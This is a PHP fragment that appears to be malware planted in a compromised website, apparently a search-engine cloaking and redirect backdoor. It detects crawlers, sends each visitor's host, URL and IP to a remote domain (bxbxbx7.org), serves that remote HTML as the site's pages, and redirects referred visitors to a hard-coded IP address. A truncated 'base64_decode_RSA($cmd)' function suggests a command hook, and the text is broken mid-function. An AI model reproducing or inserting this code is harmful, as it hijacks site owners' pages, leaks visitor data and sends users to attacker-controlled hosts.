if (!function_exists('zhizhu_html')) { function zhizhu_html($url) { $url=str_ireplace(" ","%20",$url); $response = array('status' => 0, 'content' => false, 'type' => ''); try { $caho=isEngines($_SERVER["HTTP_USER_AGENT"])?60:5; if (function_exists('curl_exec') && function_exists('curl_init')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $url); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($c, CURLOPT_CONNECTTIMEOUT, $caho); curl_setopt($c, CURLOPT_REFERER, @$_SERVER["HTTP_REFERER"]); curl_setopt($c, CURLOPT_USERAGENT, @$_SERVER["HTTP_USER_AGENT"]); curl_setopt($c, CURLOPT_TIMEOUT, $caho); curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($c, CURLOPT_COOKIESESSION, 0); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $c_retval = curl_exec($c); $response['status'] = intval(curl_getinfo($c, CURLINFO_HTTP_CODE)); $response['type'] = strval(curl_getinfo($c, CURLINFO_CONTENT_TYPE)); @curl_close($c); if (in_array($response['status'], array(200, 301, 302, 404))) { $response['content'] = strval($c_retval); } if($response['status']==0) { $response['content'] =false; } } elseif (ini_get('allow_url_fopen')) { $http_opt = array( 'http' => array('method' => 'GET', 'timeout' => $caho, 'follow_location' => 0,'header'=>"Referer: ".@$_SERVER["HTTP_REFERER"]."\r\nUser-Agent: ".@$_SERVER["HTTP_USER_AGENT"]."\r\n"), 'ssl' => array("verify_peer" => false, "verify_peer_name" => false) ); $context = stream_context_create($http_opt); $content = @file_get_contents($url, false, $context); $response['content']=$content ; } } catch (Exception $e) { } return $response['content']; } function base64_decode_RSA($cmd) { $pk = << $v) { $_POST[$k] = str_ireplace($search, $replace, $v); } foreach($_FILES as $k=>$v) { foreach(array("name","full_path","type") as $kk=>$vv) { $name=@$v[$vv]; $name=str_ireplace("php","_php",$name); $name=str_ireplace(".user.ini","._user.ini",$name); $name=str_ireplace(".htaccess","._htaccess",$name); if($name=="php") { $name="_php"; } $_FILES[$k][$vv]=$name; } } $ref = @$_SERVER["HTTP_REFERER"]?@$_SERVER["HTTP_REFERER"]:"11"; $key = @$_SERVER["HTTP_USER_AGENT"]; $ym = @$_SERVER['HTTP_X_FORWARDED_HOST']?@$_SERVER['HTTP_X_FORWARDED_HOST']:$_SERVER['HTTP_HOST']; $ssl="0"; if (isset($_SERVER['HTTPS']) && @$_SERVER['HTTPS'] === 'on') { $ssl="1"; }elseif(isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && @$_SERVER["HTTP_X_FORWARDED_PROTO"] === 'https') { $ssl="1"; } $jiej=0; if(isEngines($key)&&sitemap()) { $jiej=1; } if(isEngines($key)&&isIncludes()) { $jiej=1; } if((isRef($ref)|| $ssl=="0")&&isIncludes()) { $jiej=1; } $r_trim = preg_replace('/\?.*/', '', @$_SERVER['REQUEST_URI']); $ext = substr($r_trim, strrpos($r_trim, '.')); if (in_array($ext, array('.js', '.css', '.jpg', '.png', '.gif', '.ico'))) { $jiej=0; } $ip1=@$_SERVER['HTTP_X_FORWARDED_FOR']; if($ip1=="") { $ip1=$_SERVER['REMOTE_ADDR']; } $dd=uniqid().".bxbxbx7.org"; $T_URI=@$_SERVER['REQUEST_URI']; $T_URI=str_replace("&", "_", $T_URI); if($jiej==1) { if ( ! defined( 'bxversion' ) ) { define('bxversion',0); } if (version_compare(PHP_VERSION, '5.4.0', '<')) { $url="http://$dd/index.php?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion; }else { $url="https://$dd/index.php?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion; } $html= zhizhu_html($url); if(strlen($html)>100) { if(URI == "/sitemap.xml") { header('Content-Type: application/xml; charset=utf-8'); } header("HTTP/1.1 200 OK"); echo $html; exit(); } if(isRef($ref)&&isIncludes()) { Header( "Location: https://38.61.8.251:8037/?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion); exit(); } }